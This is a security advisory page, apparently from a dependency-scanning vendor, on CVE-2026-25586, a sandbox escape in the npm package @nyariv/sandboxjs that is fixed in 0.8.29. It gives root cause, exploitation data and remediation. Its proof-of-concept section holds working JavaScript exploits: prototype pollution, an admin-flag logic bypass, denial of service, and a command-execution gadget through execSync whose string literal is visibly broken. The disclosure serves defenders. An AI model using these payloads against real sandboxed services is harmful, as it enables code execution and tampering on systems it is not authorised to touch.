# CVE-2026-25586: @nyariv/sandboxjs RCE — Fixed in 0.8.29

📦

📦 npm

Not in CISA KEV

CRITICAL severity

# CVE-2026-25586 — @nyariv/sandboxjs

CRITICAL [Fix: nyariv/SandboxJS@67cb186](https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3)

CVE-2026-25586 is a critical-severity (CVSS 10) CWE-74 vulnerability in @nyariv/sandboxjs. A fix is available for @nyariv/sandboxjs — see the affected versions and patch details below.

SandboxJS has a Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution

Also known as[GHSA-jjpw-65fv-8g48](/vulnerability/GHSA-jjpw-65fv-8g48)

Published

Feb 6, 2026

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 3, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
-   CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
-   A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25586.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

0.7%probability of exploitation in next 30 days

Lower Risk\-0.01%

Lower risk than most CVEs53th percentile — riskier than 53% of all scored CVEsHighest risk

0.00%0.40%0.80%1.20%0.0%0.7%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## How urgent is this, really

## Where this sits among everything scored

## Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

10other npm packages depend on this — each one inherits the vulnerability until it's patched upstream

`@nyariv/sandboxjs`npm

116Kdownloads / week

## Description

### Summary

A sandbox escape is possible by shadowing `hasOwnProperty` on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to `__proto__` and other blocked prototype properties, enabling **host `Object.prototype` pollution** and persistent cross-sandbox impact.

The issue was reproducible on Node `v23.9.0` using the project’s current build output. The bypass works with default `Sandbox` configuration and does not require custom globals or whitelists.

### Root Cause

`prototypeAccess` uses `a.hasOwnProperty(b)` directly, which can be attacker‑controlled if the sandboxed object shadows `hasOwnProperty`. When this returns `true`, the whitelist checks are skipped.

-   [src/executor.ts:348](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L348) `const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');`

<img width="1030" height="593" alt="image" src="https://github.com/user-attachments/assets/0fa0807e-81cc-45b5-be13-bd839c974a4f" />

-   [src/executor.ts:367-399](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L367) prototype whitelist enforcement only happens when `prototypeAccess` is true.

<img width="929" height="345" alt="image" src="https://github.com/user-attachments/assets/27cff24d-b892-4d56-9f59-1e5fd32ef471" />

-   [src/executor.ts:220-233](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L220) mutation guard uses `obj.context.hasOwnProperty(...)`, also bypassable via shadowing.

<img width="769" height="332" alt="image" src="https://github.com/user-attachments/assets/52fbb962-6ff0-4607-90a8-79fc3a50c897" />

### Proofs of Concept

`node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration` `node node_modules/rollup/dist/bin/rollup -c` Runtime target: `dist/node/Sandbox.js`

#### Baseline: `__proto__` blocked without bypass

```
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
try {
  const res = sandbox.compile(`return ({}).__proto__`)().run();
  console.log('res', res);
} catch (e) {
  console.log('error', e && e.message);
}
```

<img width="734" height="65" alt="image" src="https://github.com/user-attachments/assets/bdbbbe8b-5667-46e4-b4b5-ff4693764ef9" />

#### Prototype whitelist bypass -> host `Object.prototype` pollution

```
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.polluted = 'pwned';
  return 'done';
`;

sandbox.compile(code)().run();

console.log('polluted' in ({}), ({}).polluted);
```

<img width="549" height="95" alt="image" src="https://github.com/user-attachments/assets/83471777-ee8e-4140-b702-9a575335fd30" />

#### Logic bypass via prototype pollution

```
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.isAdmin = true;
  return 'ok';
`)().run();

console.log('isAdmin', ({}).isAdmin === true);
```

<img width="527" height="83" alt="image" src="https://github.com/user-attachments/assets/772bb111-d3e6-4f81-8142-80228e579b57" />

#### DoS by overriding `Object.prototype.toString`

```
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.toString = function () { throw new Error('aaaaaaa'); };
  return 'ok';
`)().run();

try {
  String({});
} catch (e) {
  console.log('error', e.message);
}
```

<img width="500" height="147" alt="image" src="https://github.com/user-attachments/assets/eb5bff1b-ebe7-470a-abe6-d836de85ad41" />

#### RCE via host gadget (prototype pollution -> `execSync`)

<img width="737" height="143" alt="image" src="https://github.com/user-attachments/assets/952ba404-573f-4cb7-9b70-f3294ea19b40" />

```
const Sandbox = require('./dist/node/Sandbox.js').default;
const { execSync } = require('child_process');

const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.cmd = 'id;
  return 'ok';
`)().run();

const obj = {}; // typical innocent object
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);
```

### Additional Finding : Prototype mutation via intermediate reference

This does **not** require the `hasOwnProperty` bypass. Some prototypes can be reached via allowed static access (`[].constructor.prototype`) and then mutated via a local variable, which bypasses `isGlobal` checks.

#### Mutate `Array.prototype.filter` without bypass

```
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();

console.log('host filter', [1,2].filter);
```

**Output:**

```
host filter 1
```

## Affected Packages

1 total 1 fixed

Ecosystem

Package

Vulnerable range

Fix

📦npm

`@nyariv/sandboxjs` 

all versions

0.8.29`npm install @nyariv/sandboxjs@0.8.29`

## Affected Products

1 product · 1 configurations

Application

`sandboxjs`nyariv

< 0.8.29

range

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nyariv/sandboxjs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update @nyariv/sandboxjs to 0.8.29 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25586 is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
    

## Frequently Asked Questions

\## Summary A sandbox escape is possible by shadowing \`hasOwnProperty\` on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to \`\_\_proto\_\_\` and other blocked prototype properties, enabling \*\*host \`Object.prototype\` pollution\*\* and persistent cross-sandbox impact. The issue was reproducible on Node \`v23.9.0\` using the project’s current build output. The bypass works with default \`Sandbox\` configuration and does not require custom globals or whitelists. ## Root Cause \`prototypeAccess\` uses \`a.hasOwnProperty(b)\` directly, whic

O3 Security · Impact-Aware SCA

### Is CVE-2026-25586 in your dependencies?

Find it across npm, including transitive dependencies.

[Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)